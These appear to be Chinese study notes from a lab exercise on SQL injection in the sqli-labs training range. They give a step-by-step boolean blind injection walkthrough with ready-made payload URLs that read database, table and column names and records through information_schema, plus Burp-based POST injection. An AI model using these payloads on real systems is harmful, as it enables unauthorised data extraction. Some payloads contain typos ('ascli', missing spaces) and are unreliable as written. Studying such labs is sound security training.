length() 函数 返回字符串的长度
substr() 截取字符串 (语法:SUBSTR(str,pos,len);)
ascii() 返回字符的ascii码 [将字符变为数字wei]
sleep() 将程序挂起一段时间n为n秒
if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
post型注入 less11
打开火狐浏览器,打开代理工具
burp抓包
将抓的包转发到repeater模块
在admin后面或者123456后面输入 ' '' 等判断是否有错误
如果错误则存在注入,——>按照常规的注入流程进行注入
布尔盲注的流程
1.确定注入点
2.判断数据库的版本
http://127.0.0.1/sqli-labs/Less-8/?id=1' and left(database())=5 --+ 回显正确
3.判断当前数据库的长度
http://127.0.0.1/sqli-labs/Less-8/?id=1' and length(database())>6 --+ 回显正确
http://127.0.0.1/sqli-labs/Less-8/?id=1' and length(database())>8 --+ 回显错误
http://127.0.0.1/sqli-labs/Less-8/?id=1' and length(database())=8 --+ 回显正确
4.判断档前数据库第一个字母的ascii值是多少(重复该步骤,修改1 的值,123456)
例如当前数据库为security,取出第一个字母,取一个转化为ascii码比较
id=1' and ascii(substr(database(),1,1))>115 错误
id=1' and ascii(substr(database(),1,1))=115 正确
http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr(database(),1))=1 --+
5.猜测数据库中表的数量
count()函数,使用二分法
http://www.sqli.test/Less-8/?id=1' and
(select count(table_name) from information_schema.tables where table_schema=database())
=4
—+
6.猜解第一个数据表的长度
方法:length()函数
http://www.sqli.test/Less-8/?id=1'andlength((select table_name from information_schema.tables where
table_schema=database() limit 0,1))=6-+
7.猜解第一个数据表的第一个字符
方法:ascii(str) , substr(str) 一个一个字符猜解
http://www.sqli.test/Less-8/?id=1'andascli(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97--+
http://www.sqli.test/Less-8/?id=1'andascli(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1,1))=101 --+ 显示正确
注意:第一个数字控制表,第一张表,第二张表......
第二个数字控制字符,第一个字符,第二个字符......
8.猜解数据表中字段的数量
方法:count()函数
http://www.sqli.test/Less-8/?id=1'and(select count(column_name) from information_schema.columns where table_schema=database() and table_name="emails")=2--+
9.猜解第一个数据表中第一个字段的长度
方法:length() 函数
http://www.sqli.test/Less-8/?id=1'andlength((select column_name from information_schema.columns
where table_schema=database() and table_name="emails" limit 0,1))=2--+
10.猜解第一个数据表中第一个字段的第一个字符
方法:ascii() substr()
http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="emails" limit 0,1),1,1))=105 --+
11.获取字段中的记录
方法:ascii()函数 substr()函数
http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select group_concat(id) from emails),1,1))=49--+
提升建议:
靶场
基于布尔的盲注
1.判断闭合方式
' '' ') ") —+
2.判断数据库版本是否大于5.0
http://120.27.61.239:8007/source/index2.php?id=1'')
and left(database(),1)=5
--+
3.判断数据库长度
4.判断数据库名字的第一个字符
重复之前的步骤